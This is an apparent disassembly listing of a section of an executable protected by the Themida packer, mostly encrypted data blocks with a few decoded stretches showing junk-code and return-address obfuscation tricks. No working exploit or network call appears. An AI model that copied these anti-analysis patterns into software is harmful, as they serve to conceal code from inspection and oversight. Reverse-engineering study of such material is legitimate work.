		dd 4195014Fh, 6607D110h, 1E72EF81h, 241C8950h, 6E9h, 52C57C00h
		dd 0FFB96B56h, 0D12001B5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0F6E41423h
		dd 5C350607h, 0F1B53351h, 5F07D113h, 5595FFh, 6A07D1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 8B2D48C3h, 7350B09Ah, 0FB8B6686h, 6A00B0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 8D8AF0C3h
		dd 0CD65CCAAh, 0FEBF0FE4h, 2D75BD89h, 70E607D1h, 8B71E4F5h
		dd 0D129ADBDh, 0F613C07h, 29E83h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 9C183988h
		dd 8BD8B60Fh, 0D1211DB5h, 6BA07h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0E960DBC3h
		dd 11h,	7292B881h, 88923EC0h, 0D8AA9138h, 8507CB41h, 0F6BF0FE2h
		dd 0B58B5661h, 7D12755h, 89C38B5Fh, 0D12CE19Dh,	0EE807h
		dd 7F820000h, 5F2E4145h, 61D8CA2Ch, 9E772A7Fh, 4E8C15Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 48C35747h
		dd 8A0F99h, 0BF000000h,	0E11A72Bh, 8BE2F766h, 0D12385B5h
		dd 6AD82B07h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 5921C355h, 89F5299Bh, 0D12A69BDh
		dd 6A5807h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0B4B07EC3h, 0BD898BF1h, 7D107A5h,	20A5B589h
		dd 0D82B07D1h, 185880Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0C279ABC3h, 3ABF6616h
		dd 7B9FAh, 10E80000h, 7F000000h, 0D0B3B3E4h, 669B002Fh
		dd 0C4EE3E64h, 8BA2216Ch, 0D11E5DB5h, 0C1835E07h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 3BB57F32h
		dd 18860FD9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0E2F0C355h,	9E9h, 89699900h
		dd 6F91572Eh, 0BF664090h, 0F88B75F1h, 6AD98C66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 1B30C356h, 4651D700h, 4C1F6FCh, 93840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 2999D4C3h, 0D13191BDh, 95FFF507h, 7D101C5h, 55006A5Bh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 74F779E6h, 0FBAA2C6h, 284h, 2BF28B00h, 0E78166C3h, 343D5877h
		dd 0F000008h, 2C86h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 684AFAB8h, 2CE96594h
		dd 3000000h, 0D11965B5h, 6AC08B07h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0AE29C357h
		dd 496487E6h, 8B0C927Ah, 89D88BC3h, 0D106BD95h,	4585C707h
		dd 3D07D11Fh, 6A1CE231h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 6469C356h, 0D219113Bh
		dd 998D8930h, 8B07D12Dh, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0AD8B2E75h, 26D8F9EEh
		dd 2339BD89h, 0BD8107D1h, 7D12001h, 7D0h, 17850Fh, 810F0000h
		dd 5, 0FC3490BFh, 185FF6Eh, 2907D120h, 0D125F595h, 1B5FF07h
		dd 0F07D120h, 95FFFEBFh, 7D10055h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 3DC35040h, 0DD662223h, 9D89CCCDh
		dd 7D128F9h, 55006A90h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 912AC925h, 0EA6BC9C4h, 8D090491h
		dd 7D11AD5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	5CC35646h, 3C0F106Dh, 51D5F790h, 10BDB58Bh, 0CE807D1h
		dd 0F7000000h, 0F3265962h, 840072D2h, 668819F7h, 0BD8BF98Bh
		dd 7D124CDh, 11E95Eh, 729D0000h, 0E1DD7211h, 40F79554h
		dd 37539BFBh, 8B23FB68h, 0D1111DB5h, 7F07BF07h,	0E9510346h
		dd 0Ah,	0F344357Eh, 24A24008h, 665FB862h, 891D49BFh, 0D11ACDBDh
		dd 0B575107h, 0D131F1B5h, 95015E07h, 7D11055h, 0F18B665Fh
		dd 6840Fh, 0F7810000h, 14AF41CAh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 35C35545h, 0B1B52327h, 6A07D129h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0E8F9C350h, 66D46E0Ch, 33B0EE81h,	0B8B0Fh
		dd 0D6810000h, 198F8410h, 0E39073BEh, 0F772E903h, 9501FFFFh
		dd 7D132E1h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0EB2AD7C3h, 4, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 66718B72h, 18CD9D89h, 858D07D1h, 7D11361h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0D0C35747h, 0B47F2BD3h
		dd 14320F66h, 48950B5h,	75B58B24h, 6A07D116h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0CE099B79h, 915B3892h, 75BD23EBh, 6A07D121h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 9D03F25Eh, 6890F2Fh,	8B000000h, 0D101ADBDh, 0A4858D07h
		dd 8B07D552h, 0D107A5BDh, 8B666007h, 0D88B66C1h, 5C08361h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8C35747h
		dd 23BF66AEh, 6E89031h,	0B8000000h, 38B64462h, 90505EBFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6BC35747h
		dd 840491EAh, 0F47CFFBh, 6AF2BFh, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 510DD2C3h
		dd 1DE195FFh, 8B5607D1h, 0D12D65B5h, 9D8D5E07h,	7D4D566h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CDC35747h
		dd 923343A1h, 636919BFh, 6AD3FF75h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0EC2CC357h
		dd 522D593Bh, 8A60DF0Eh, 61F28BD4h, 326DBD23h, 85FF07D1h
		dd 7D12921h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0E6C35747h, 0BBF8CFE6h,	37BE68Ah, 0D78166B4h, 37E940D4h
		dd 0E8000008h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D552AEh
		push	0
		push	edi
		call	sub_5CB8FE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB8FE	proc near		; CODE XREF: Themida_:005CB8F6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5CB8FE	endp

; ---------------------------------------------------------------------------
		dw 18E4h
; ---------------------------------------------------------------------------
		popa
		aas
		mov	ch, 1Dh
		adc	[edi-22h], bl
		mov	edi, [ebp+7D1177Dh]
		jge	loc_5CB929
		jl	$+6


loc_5CB929:				; CODE XREF: Themida_:005CB91Dj
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jbe	loc_5CBA7D
		push	0
		push	eax
		call	sub_5CB944
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CB944	proc near		; CODE XREF: Themida_:005CB93Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5CB944	endp

; ---------------------------------------------------------------------------
		dd 0E2FD9E38h, 0F6031D66h, 8D89B8E4h, 7D119F9h,	3CD9D8Bh
		dd 6E907D1h, 2000000h, 87210B79h, 0E38179h, 6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 3FB8C350h, 0F7BEDE42h, 0FDB0BA3h,	8985h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 2308FC35h, 0C3BD833Fh, 7D550h, 41840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 6D6CB0C3h, 47E9h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0C7E9CDA8h
		dd 0D550C385h, 107h, 0D1B52B00h, 0E907D10Fh, 14h, 23118529h
		dd 85C707D1h, 7D550C3h,	0
		dd 92ECBF66h, 3CD9D8Dh,	8A0F07D1h, 6, 296D9501h, 238107D1h
		dd 0FFFFFEFFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	3EC35343h, 6800F29h, 89000000h,	0D119F985h
; ---------------------------------------------------------------------------
		pop	es


loc_5CBA7D:				; CODE XREF: Themida_:005CB933j
		mov	bx, ds
		mov	edi, [ebp+7D12E55h]
		test	bl, 4
		jz	loc_5CBAEA
		mov	[ebp+7D12CEDh],	esi
		call	dword ptr [ebp+7D101C5h]
		push	0
		push	esi
		call	sub_5CBAA6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBAA6	proc near		; CODE XREF: Themida_:005CBA9Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5CBAA6	endp

; ---------------------------------------------------------------------------
		dw 8DCFh
; ---------------------------------------------------------------------------
		sbb	eax, 325599F8h
		xor	dl, [eax+52h]
		pop	edi
		mov	[esp], eax
		push	0
		push	ecx
		call	sub_5CBACF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBACF	proc near		; CODE XREF: Themida_:005CBAC7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5CBACF	endp

; ---------------------------------------------------------------------------
		db 0B0h
		dd 5F867350h, 18A9BD89h
; ---------------------------------------------------------------------------
		rol	dword ptr [edi], 1


loc_5CBAEA:				; CODE XREF: Themida_:005CBA89j
		jmp	loc_5CBF16
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5CBAFA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBAFA	proc near		; CODE XREF: Themida_:005CBAF2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5CBAFA	endp

; ---------------------------------------------------------------------------
		dw 0B263h
		dd 0C97F564Eh, 6461BECCh, 0B074C8h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 67C35646h, 0EE6E4679h, 666D7434h
		dd 70E6FE8Bh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 324A44C3h, 2D9F0681h, 0B501E548h
		dd 7D12559h, 16219D89h,	0B60F07D1h, 85BD8BD8h, 0BA07D131h
		dd 6, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 18h
		dd 42C35242h, 0F92C04F9h, 7CF8160h, 802B4A07h, 8B6186CEh
		dd 0BFB460C3h, 45952960h, 2907D12Dh, 0D11C7985h, 0C1616107h
		dd 6A04E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0B7B84CC3h, 510DD204h, 66CE7E1Ch,	8D29E2F7h
		dd 7D12E69h, 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 84BCC2C3h, 3173FA73h, 0D12BBD8Dh
		dd 66605007h, 667A75BEh, 617315BAh, 6A241C89h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 62ADC350h, 2001B5FFh, 0BD3107D1h, 7D133FDh, 5595FFh
		dd 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0E3853EC3h, 0F8637B1h, 0C81h, 6850F00h, 89000000h
		dd 0D11D15BDh, 6600B007h, 0B533F78Bh, 7D12465h,	71E470E6h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CCC35343h
		dd 13E912h, 317F0000h, 0F90C292Ah, 5C17EBDEh, 0E856912Ch
		dd 29C2AAE3h, 7E954h, 7D190000h, 0F0BF5831h, 0F613C96h
		dd 23583h, 0D8B60F00h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 4EC35646h, 6BAh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 48066027h
		dd 2A11BD8Bh, 0C38B07D1h, 1B4D8589h, 0E8C107D1h, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 389BC21Ch, 12E8C9AAh, 82000000h, 39468A1Bh, 450697FEh
		dd 79F64E12h, 3E140D67h, 7E99Eh, 2D030000h, 0B14E6724h
		dd 0F7665F34h, 21B501E2h, 2B07D12Eh, 0B1BD8BD8h, 5807D103h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C3C35141h
		dd 0FE7ECC95h, 2BF9A18Eh, 5F880FD8h, 8B000001h,	0D12745BDh
		dd 7B907h, 860F0000h, 3, 83F18B66h, 8E0F00C1h, 6, 2B19BD8Bh
		dd 3BFC07D1h, 33860FD9h, 8B000001h, 0D10F4DB5h,	0D98C6607h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 4BC35747h
		dd 7F5D3BB0h, 8800FF6h,	53000000h, 31C59D01h, 0F65F07D1h
		dd 840F04C1h, 0EAh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 4EC35343h, 0BF724BEDh, 8921AE6Ah, 0D12B89BDh
		dd 60536007h, 0B58B5B61h, 7D100C1h, 0C595FF61h,	6A07D101h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8185C356h, 0AB8785EEh, 0BE914h, 0B49D0000h
		dd 0C76D3D4Ch, 1E40349Ah, 6A5B67h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 3F1697C3h, 0F88B8110h
		dd 6AC32Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0B50946C3h, 7D129DDh, 8343Dh, 2B860F00h
		dd 8B000000h, 0D105F5B5h, 28E907h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 2DA3C8C3h
		dd 0C08BAB44h, 1EFDB58Bh
; ---------------------------------------------------------------------------
		rol	dword ptr [edi], 1


loc_5CBF16:				; CODE XREF: Themida_:loc_5CBAEAj
		mov	eax, ebx
		mov	ebx, eax
		jmp	loc_5CBF2B
; ---------------------------------------------------------------------------
		db 0B9h
		dd 0E28155Eh, 666E8EF5h
		db 91h,	48h, 0D9h
; ---------------------------------------------------------------------------


loc_5CBF2B:				; CODE XREF: Themida_:005CBF1Aj
		mov	dword ptr [ebp+7D10191h], 55F48737h
		mov	[ebp+7D13411h],	ecx
		mov	eax, eax
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jnz	loc_5CBF86
		push	0
		push	ebx
		call	sub_5CBF58
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBF58	proc near		; CODE XREF: Themida_:005CBF50p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5CBF58	endp

; ---------------------------------------------------------------------------
		dd 62011884h, 4AF89873h, 85FF58EEh, 7D12001h, 0D5958960h
		dd 107D131h, 0D1066995h
; ---------------------------------------------------------------------------
		pop	es
		popa


loc_5CBF86:				; CODE XREF: Themida_:005CBF47j
		push	dword ptr [ebp+7D12001h]
		mov	edi, [ebp+7D10815h]
		call	dword ptr [ebp+7D10055h]
		push	0
		push	ebx
		call	sub_5CBFA3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBFA3	proc near		; CODE XREF: Themida_:005CBF9Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5CBFA3	endp

; ---------------------------------------------------------------------------
		db 67h
; ---------------------------------------------------------------------------
		fistp	qword ptr ds:62CFF00Eh
		add	[ebx-2ED60E43h], ecx
		pop	es
		nop
		push	0
		push	ebx
		call	sub_5CBFCD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CBFCD	proc near		; CODE XREF: Themida_:005CBFC5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5CBFCD	endp

; ---------------------------------------------------------------------------
		db 2 dup(0BDh),	0E6h
		dd 0C4BC82D4h, 0BE8h, 6ED4B00h,	0EC2EFC73h, 7F36129Dh
		dd 0C999D89h, 0B58B07D1h, 7D11451h, 0FAB70F5Fh,	26999D89h
		dd 6A07D1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 240901C3h, 0E5075C3h, 8B46412Dh, 0AE9F2h
		dd 84C30000h, 7F353B08h, 0D69E835Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 3EC35040h, 17937472h, 0A0900F34h
		dd 3161B533h, 895107D1h, 0D1019595h, 66F55E07h,	3412F681h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 22C35242h
		dd 0E91CB53Ch, 6, 320865D9h, 0BF0FEB47h, 19B58BF1h, 6A07D107h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0B203C356h, 96AC0A2Eh, 0D8BF3D84h, 8B20A4ECh
		dd 0A5B58BF7h, 6007D132h, 5067CC80h, 13E9h, 22F12D00h
		dd 1A7ED09Ch, 3D7AA206h, 8459307Bh, 0EFD5DDBEh,	0FE96058h
		dd 0BA000000h, 0F80A728Ch, 0EA5DDCACh, 0F1680D93h, 0BE66D217h
		dd 616134A9h, 0FFF7CEE9h, 0EE8166FFh, 6A6039CEh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E811C350h, 10h, 0A5CF524h, 0F9B4722h, 0A78C8511h, 0FD0EA0CEh
		dd 16D5B58Bh, 0B95E07D1h, 0FFFFFFFEh, 68B0Fh, 858B0000h
		dd 7D113D9h, 25A98D21h,	6A07D1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 7EE77DC3h, 7DBE6667h
		dd 38B0F9Ah, 0F000000h,	8D21C7BFh, 7D133A1h, 13E9h, 0ADDC9C00h
		dd 793A17E9h, 49B27413h, 0D4827CE8h, 8572E90Eh,	25A98D8Bh
		dd 6A07D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 430E8EC3h, 5C881676h, 0E82F9C2Fh,	12h, 0EDEE59DAh
		dd 38B77CEBh, 7BB8D006h, 95AAEC2Dh, 5E9EF6Dh, 70000000h
		dd 0C6D9A02Fh, 1E1835Eh, 7850Fh, 0D7810000h, 4FF24BF4h
		dd 0A18D8BFCh, 0F07D133h, 0E183F8B7h, 6850F01h,	29000000h
		dd 0D1329595h, 6A606107h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 2BFEC357h, 40DE0CB8h
		dd 0FEB9DD8Ah, 89FFFFFFh, 0D12715B5h, 0CD8D2107h, 6A07D103h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0A414C350h, 0D566AA1Fh, 20E58D21h, 6A07D1h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 62F50AC3h, 8B88CEDFh, 0D103CD8Dh, 0D9BD8B07h, 8307D120h
		dd 850F01E1h, 19h, 68C0Fh, 9D290000h, 7D131B1h,	8E9h, 3B29F300h
		dd 7C47BD64h, 0E58D8B73h, 6A07D120h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0BB01C353h
		dd 1585200Dh, 0F01E183h, 2285h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 813898B3h
		dd 61D6B70Fh, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0FEB9D0F6h, 6AFFFFFFh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 374AC351h, 19D413D9h, 0BF66BD3Fh, 0BF0F3307h, 258D21C3h
		dd 6A07D127h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 33D1C353h, 0D113B1B5h,	0A98D2107h
		dd 6607D11Eh, 8B3983BFh, 0D127258Dh, 0DFB70F07h, 0F01E183h
		dd 2485h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0C3E922Ch, 9CBA66F9h, 0A98D8BBEh
		dd 6607D11Eh, 83F0D7B8h, 850F01E1h, 1Fh, 3129858Bh, 14E907D1h
		dd 0BA000000h, 7D5B543Fh, 0ED3A33CBh, 4BF87FBFh, 2495CB1Fh
		dd 61DA318Fh, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0EB815F7Ch, 3408BFE0h, 0FFFFFEB9h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 9D92654Bh, 8190A168h, 56F857F3h,	8A0F78h
		dd 21000000h, 0D11F458Dh, 21C58A07h, 0D101918Dh, 0AE96007h
		dd 91000000h, 89813F8Dh, 0BD17D2F6h, 8D8B6148h,	7D11F45h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 48C35545h
		dd 1E3F2445h, 0FB19E24h, 88h, 1E18300h,	850Fh, 8D8B0000h
		dd 7D10191h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	6FC35141h, 0F0528ABAh, 559D8B32h, 8B07D125h, 0D1283585h
		dd 1E18307h, 25850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 13F5C5C3h, 0A9BD8B70h
		dd 6107D115h, 18E9h, 0B2A9B100h, 7Ch, 4	dup(0)
		dd 523E900h, 65190000h,	8701EE7Bh, 96EFDC69h, 0BFDECB58h
		dd 0CBC7B441h, 0B8E5A02Dh, 0CD5A96F4h, 0BA47A5E0h, 0A532CCCDh
		dd 8F1CD8B8h, 294401EDh, 9B19FE14h, 3522D5B3h, 0CBB89D53h
		dd 0A9930CEh, 9C817F1Dh, 8815D3AFh, 13FFFD9Bh, 0AA8F6126h
		dd 0B39F8413h, 9B2AC6C6h, 2D12EEAEh, 66305441h,	4DE4C927h
		dd 5E3A27B6h, 0C824604Dh, 28B4620Bh, 34CB6212h,	0AF7E34Fh
		dd 0F48B7088h, 0D44BBA65h, 0BEAB38B4h, 0A99623DDh, 3C290EE8h
		dd 15BEA359h, 9885BB6Ah, 847100FCh, 96D79407h, 2E1228B4h
		dd 86730097h, 95D89506h, 2F1228B4h, 28150198h, 9F59396Dh
		dd 0FD8C2308h, 0B50F5B18h, 2E6D1228h, 9EFEEBD0h, 0D4917D62h
		dd 1228B499h, 0A04B942Bh, 0C16C1071h, 365E5152h, 767F39CDh
		dd 0A1000000h, 0A0856321h, 28B488E3h, 63923D12h, 0CD368D22h
		dd 0A5039h, 640000h, 0F1444BAh,	4725B4F3h, 0A4896721h
		dd 5E0FCCB8h, 661228B5h, 0F9DE1879h, 4F3CCB62h,	0E6D2B735h
		dd 0B6303DFAh, 0BED51228h, 0B1AA1692h, 8E1DB459h, 4BAFE2A1h
		dd 0A4FB91DBh, 511CD965h, 73122964h, 0F46045DCh, 2163DA49h
		dd 33513ECBh, 43B64BE8h, 3AD1B4CCh, 0B0D4C1ADh,	31C0573Ch
		dd 87612153h, 1DD3B5A2h, 0AD434431h, 474431C8h,	9E2DC4A9h
		dd 93822DB9h, 15D3B09Dh, 0FFF99986h, 0FF228672h, 9696D77Ch
		dd 314F3CCBh, 0A4E1CEB3h, 28D3654Ah, 0E007B8F9h, 63F639CDh
		dd 18000000h, 0A2876121h, 391ED0B5h, 95F4E1CDh,	0CD2B6A57h
		dd 17C251E8h, 415131E8h, 0D941A543h, 30F7F5A5h,	8B78059Ch
		dd 33FE9B0Fh, 7300B10h,	7055EC16h, 715D42D9h, 58E70584h
		dd 0E9CE2C6Bh, 3C7DAC57h, 39CDF183h, 4A7Ah, 61219C00h
		dd 0B4F87532h, 35CC1228h, 0CFCCB99Eh, 58034C31h, 0D81072A9h
		dd 67216D4Bh, 0D1B09D89h, 33972E13h, 50F933D9h,	0D5BA4983h
		dd 28DE5218h, 59C87312h, 0CD5F5758h, 5806D39h, 7E6B02E7h
		dd 67FEE31Dh, 105D8h, 22270000h, 0B79C5235h, 3F40BC20h
		dd 363A4D72h, 0CEDDBAA7h, 29905C11h, 3AD16812h,	1E7C6955h
		dd 5E90F5E2h, 6653E279h, 3CE5CA26h, 48AC6291h, 0D74A7600h
		dd 503DCC7Dh, 9E2CB937h, 64210DECh, 19FA5D4Ah, 11FEE37Ah
		dd 0FBE87573h, 86735F9Dh, 7209EE02h, 2A41FEE3h,	5219FA5Dh
		dd 0E8D5BA36h, 20694EAAh, 9CE58675h, 8D0B02F1h,	0F24414A2h
		dd 0BE55602Eh, 0A8444431h, 3AB6D6C3h, 0EF1EC955h, 0B09C5838h
		dd 9A29C7C3h, 0C019960Dh, 3EC4419Eh, 0D8000001h, 333E2FECh
		dd 0EF8619FAh, 12808260h, 2A1703EFh, 12A98E6Ah,	0C828C683h
		dd 0B09C19F9h, 0F9C77AF3h, 2B2B8B19h, 52058DABh, 937F16ADh
		dd 9083EAA7h, 0AA4119FAh, 4B49361Bh, 553320ADh,	0C7C5B297h
		dd 563BB1D3h, 0B74328BFh, 66261D0Ch, 2986FD8Ah,	0B4419F12h
		dd 5Ah,	0EE1580D6h, 0B5084502h,	25BC9228h, 0B24E4C39h
		dd 0B46409C6h, 0C9609228h, 0D598553Ah, 0A79228B4h, 38250AE8h
		dd 69D3D05Bh, 0AAF55ABh, 77228E73h, 6611E788h, 0F49481B7h
		dd 612613F8h, 0DB69F88Fh, 0A05D49A8h, 122919ADh, 83AB6CD0h
		dd 921ECD2Bh, 3AC75E03h, 8CC2h,	1280E400h, 0B490DD9Ah
		dd 9D341228h, 412E1A06h, 2BC2A741h, 0E69BDF9Ch,	922919F9h
		dd 0C9D8B9A6h, 0F9E6610Ch, 35CC6319h, 452AB950h, 2FBC3858h
		dd 0C1A64242h, 0F9E76404h, 6CD0BC19h, 95118F81h, 4AF3EE2h
		dd 827E1E15h, 7E1C09F5h, 77069D82h, 6C58B9E9h, 0CF16A5AFh
		dd 0A3881F21h, 0C6C4D6B6h, 17AE452Ah, 0A15F3E2Bh, 0B19625BCh
		dd 542F1C08h, 0C2A74540h, 5A05942Bh, 42A7D3ABh,	1E7D6A56h
		dd 0D564FBE0h, 0A4763C18h, 64F18829h, 0EF128086h, 140E4603h
		dd 1FB619FEh, 0B14F4D3Ah, 4D4B3824h, 6706C3AFh,	5D19FE13h
		dd 4A4A37C6h, 6E0CC9AEh, 8F9565E0h, 4ED5B6A3h, 42BA049Ch
		dd 13A23949h, 282B968h,	3196FAE6h, 430715E6h, 0C104C9DFh
		dd 1DB4BDEFh, 0B4995730h, 14018E1Dh, 9F8C7874h,	311E03E1h
		dd 6EFD9452h, 32FD9C89h, 40957EB9h, 755AF144h, 6EB0988h
		dd 9D827C19h, 8CED1CC7h, 8B0AF7E3h, 62F1886Dh, 0B3D148B7h
		dd 0DDBBA835h, 8C23A1Fh, 0E4000000h, 0A8E9D6C2h, 21E1BF4Eh
